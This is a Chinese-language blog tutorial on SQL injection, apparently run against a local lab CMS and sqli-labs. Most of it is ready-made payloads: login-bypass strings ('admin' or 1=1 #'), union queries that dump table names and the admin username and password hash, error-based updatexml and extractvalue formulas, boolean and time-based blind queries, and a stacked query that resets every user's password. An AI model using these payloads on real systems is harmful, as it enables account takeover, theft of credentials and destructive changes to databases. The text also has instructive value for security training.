sql注入1-基本注入

万能密码

admin' or 1=1 #
admin' or '1'='1

原理:

SQL语句sql=”select * from user where username=’”&username&”‘and pass=’”& pass&’” ,当我们用户名和密码都填写’or’=’or’提交的时候,即此时语句中的username和pass都等于’or’=’or’,那么,这条SQL语句就变成了:sql=”select * from user where username=”or’ ‘=”and pass=”or’ ‘=” ,自然也就通过了程序的验证

我们应当注意这样一件事情,那就是无论查询语句怎么写我们所输入的内容都是要被单引号引起来的,那么我们现在尝试利用这样的特点来构造新的“万能密码”登录

首先我们需要在密码的最前面有一个单引号,来闭合SQL语句中的单引号,然后构造一个or,也就是或者,或者怎么样我们才能通过验证呢?当然最简单的就是1=1,所以由此我们构造出新的密码:‘or ‘1’=’1。为什么密码的最后面少了一个单引号呢?这是同样为了使SQL语句不出错,是来闭合程序中的SQL语句的后面的单引号的,如果我们在后面再加上一个单引号的话就会出错了

1.sql注入原理

SQL 注入的攻击行为可以描述为通过用户可控参数中注入SQL 语法,破坏原有SQL 结构,达到编写程序时意料之外结果的攻击行为。其成因可以 归结为以下两个原因叠加造成的:

程序员在处理程序和数据库交互时,使用字符串拼接的方式构造SQL 语句。

未对用户可控参数进行足够的过滤,便将参数内容拼接到SQL 语句中。

2.sql注入的危害

攻击者可以利用SQL 注入漏洞,可以获取数据库中的多种信息,例如,后台管理员账密,从而脱取数据库中的内容(脱库)。 在特别的情况下还可以插入内容到数据库、删除数据库中的内容或者修改数据库内容。 如果数据库权限分配存在问题,或者数据库本身存在缺陷,攻击者可以利用SQL 注入漏洞直接获取WebShell 或者服务器权限

3.sql注入分类

两大基本类型五大基本手法提交参数方式注入点的位置
 联合查询GET注入URL
数字型报错注入POST注入搜索框注入
字符型布尔盲注cookie注入留言板注入
 延时注入HTTP头部注入登入筐注入
   

4.注入点判断

会在疑似注入点的地方或者参数后面尝试提交数据,从而进行判断是否存在SQL 注入漏洞。

步骤 测试数据 测试判断
1 -1或+1 是否能够回显上一个或者下一个页面(判断是否有回显)
2 ‘或” 是否显示数据库错误信息 根据回显内容可以判断是字符型数据还是数字型
3 and 1=1或and1=2 回显的页面是否不同(布尔类型的状态)
4 and sleep(5) 判断页面的返回时间
5 \ 判断转义

5.主要关注的问题

主要关注的问题解释
回显数据库中的内容是否会回显在网页中
数据库报错数据库报错信息是否会回显在网页中 提交的数据是字符型还是数字型,如果是字符型数据,闭合方式是什么
布尔类型状态显示的页面不同,形成对比。页面正常或者不正常。
延时让数据库沉睡相应的秒数

注入方式

1.联合查询

必要条件:

两条select 语句查询结果具有相同列数

1.1目标分析

?id=32
?id=33
select * from tbName where id=32
select * from tbName where id=32 union select ....

1.2判断数列

?id=32 order by 1
?id=32 order by 2
...
?id=32 order by 15 正常
?id=32 order by 16 不正常
# 当前select 语句中具有15 列。
?id=32 union select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null
?id=32 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15

1.3判断显示位置

?id=32 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
?id=-32 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
?id=32 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15

1.4数据库里的信息

?id=32 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,database(),12,13,14,15
?id=32 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,version(),12,13,14,15
?id=32 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,@@datadir,12,13,14,15
?id=32 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,current_user(),12,13,14,15

1.5数据库管理员账号密码

数据库名和表名

#数据库名
?id=-33 UNION SELECT 1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15
#cms

#表名
?id=-33 UNION SELECT 1,2,count(*),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where
table_schema=database()
?id=-33 UNION SELECT 1,2,hex(table_name),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where
table_schema=database() limit 0,1
?id=-33 UNION SELECT 1,2,hex(table_name),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where
table_schema=database() limit 1,1
?id=-33 UNION SELECT 1,2,hex(group_concat(table_name)),4,5,6,7,8,9,10,11,12,13,14,15 from
information_schema.tables where table_schema=database()
#
636D735F61727469636C652C636D735F63617465676F72792C636D735F66696C652C636D735F667269656E646C696E6B2C636D735F6D6573
736167652C636D735F6E6F746963652C636D735F706167652C636D735F7573657273
# cms_article,cms_category,cms_file,cms_friendlink,cms_message,cms_notice,cms_page,cms_users

列名

?id=-33 UNION SELECT 1,2,hex(group_concat(column_name)),4,5,6,7,8,9,10,11,12,13,14,15 from
information_schema.columns where table_schema=database() and table_name='cms_users'

# 7573657269642C757365726E616D652C70617373776F7264
# userid,username,password

数据

?id=-33 UNION SELECT 1,2,hex(concat(username,0x3a,password)),4,5,6,7,8,9,10,11,12,13,14,15 from cms_users
-
# 61646D696E3A6531306164633339343962613539616262653536653035376632306638383365
# admin:e10adc3949ba59abbe56e057f20f883e
# admin:123456

案例:

URL后面加’直接报数据库错误。表示有注入漏洞

图片[1]-万能密码&sql注入1

然后使用order by 4 #测试有多少列

这里15列是正常的

图片[2]-万能密码&sql注入1

16列的时候报错,说明语句中有15列

图片[3]-万能密码&sql注入1

然后我们再判断回显位置,再id后面改一下让它报错,我们就能看到会显的位置了

图片[4]-万能密码&sql注入1

然后我们利用回显位置来查询,先查询库

图片[5]-万能密码&sql注入1
http://10.9.75.140/cms/show.php?id=-33 union select 1,2,@@datadir,4,5,6,7,8,9,10,11,12,13,14,15		查询数据库的位置
http://10.9.75.140/cms/show.php?id=-33 union select 1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15	查询数据库名
http://10.9.75.140/cms/show.php?id=-33 union select 1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15		查询数据库版本
http://10.9.75.140/cms/show.php?id=-33 union select 1,2,current_user(),4,5,6,7,8,9,10,11,12,13,14,15    查询当前用户
http://10.9.75.140/cms/show.php?id=-33 union select 1,2,count(*),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database()
查表

http://10.9.75.140/cms/show.php?id=-33 union select 1,2,hex(table_name),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database() limit 0,1
查表名

http://10.9.75.140/cms/show.php?id=-33 union select 1,2,hex(group_concat(table_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database()
查表名

http://10.9.75.140/cms/show.php?id=-33 UNION SELECT 1,2,hex(group_concat(column_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables.columns where table_schema=database()  and table_name='cms_users'

http://10.9.75.140/cms/show.php?id=-33 union select 1,2,hex(concat(username,':',password)),4,5,6,7,8,9,10,11,12,13,14,15 from cms_users
查用户名密码

2.报错注入

在注入点的判断过程中,发现数据库中SQL 语句的报错信息,会显示在页面中,因此可以利用报错信息进行注入。

报错注入的原理,在错误信息中执行SQL 语句。触发报错的方式有很多,具体细节也不尽相同。此处建议直接背公式,将公式带换掉 1=1 的部分。

2.1 group by

?id=4 and (select 1 from (select count(*),concat(0x5e,(select database()),0x5e,floor(rand()*2))x from
information_schema.tables group by x)a)

?id=4 and (select 1 from (select count(*),concat(0x5e,(select password from cms_users limit
0,1),0x5e,floor(rand()*2))x from information_schema.tables group by x)a)

2.2 extractvalue

?id=4 and extractvalue(1,concat(0x5e,(select database()),0x5e))

?id=4 and extractvalue(1,concat(0x5e,substr((select password from cms_users),17,32),0x5e))

2.3 updatexml

?id=4 and updatexml(1,concat(0x5e,(select database()),0x5e),1)

?id=4 and updatexml(1,concat(0x5e,(select substr(password,1,16) from cms_users),0x5e),1)

?id=4 and updatexml(1,concat(0x5e,(select substr(password,17,32) from cms_users),0x5e),1)

案例:

前言:报错注入就是里用报错语句来显示出他的数据库信息

先测试什么注入类型,这里可以看到是字符型

图片[6]-万能密码&sql注入1

然后我们使用updatexml的注入公式,这里查是查库名

图片[7]-万能密码&sql注入1

这里密码是32位显示不出来所以我们16位16位的查,(第一张图是前8位,第二张图是后8位)

图片[8]-万能密码&sql注入1
图片[9]-万能密码&sql注入1

3.布尔盲注

页面中有布尔类型的状态,可以根据布尔类型状态,对数据库中的内容进行判断。

3.1数据库名爆破

/Less-8/?id=2' and database()='xxx' --+

# 不知道数据库名有多少位
# 不知道数据库名的字符集合
# 爆破成本很高

3.2数据库名长度

/Less-8/?id=2' and length(database())=8 --+

# 页面正常,说明数据库名字的长度是8

3.3按位测试

# 第一位
/sqli-labs/Less-8/?id=2' and ascii(substr(database(),1,1))=115 --+
# 115
# s

/sqli-labs/Less-8/?id=2' and ascii(substr(database(),2,1))=101 --+
# 115 101
# s e

案例

前言:因为我们看不到回显所以我们要一个一个猜

首先我们先猜数据库名的长度,没显示证明猜错了

图片[10]-万能密码&sql注入1

这里换成8,有显示,证明我们猜对了,数据库名字长度是8位

图片[11]-万能密码&sql注入1

猜出了数据库的名字长度,我们再一个一个猜数据库的名字

图片[12]-万能密码&sql注入1

4.延时注入

利用sleep() 语句的延时性,来判断有没有注入点。

4.1数据库名字的长度

/sqli-labs/Less-9/?id=2' and if(length(database())>1,sleep(5),1) --+
# 页面有延时

4.2数据库的名字

/sqli-labs/Less-9/?id=2' and if(substr(database(),3,1)='c',sleep(5),1) --+
# 115  101   99
# s     e    c

4.3获取数据库版本号

?id=1' and if(ascii(substr(version(),1,1))=5,sleep(5))--+
?id=1' and if(ascii(substr(version(),3,1))=5,sleep(5))--+
?id=1' and if(ascii(substr(version(),5,2))=47,sleep(5))--+

案例

输入条件成真的条件,如果网页刷新时间大于5秒,则证明存在延时注入。

图片[13]-万能密码&sql注入1

举一反三,我们也可以利用延时注入来猜解对方数据库的长度以及名字

5.堆叠查询

5.1修改数据库所有用户密码

存在堆叠注入的话执行payload后会延时5秒

?id=2';WAITFOR DELAY '0:0:5'--

可以同时执行多条SQL 语句,包括增删改查操作。

?id=2';update users set password='123456'--+

案例

修改数据库所有用户密码位654321

图片[14]-万能密码&sql注入1

查看是否修改成功

图片[15]-万能密码&sql注入1

可以看到已经修改成功

© 版权声明
THE END
喜欢就支持一下吧
点赞13 分享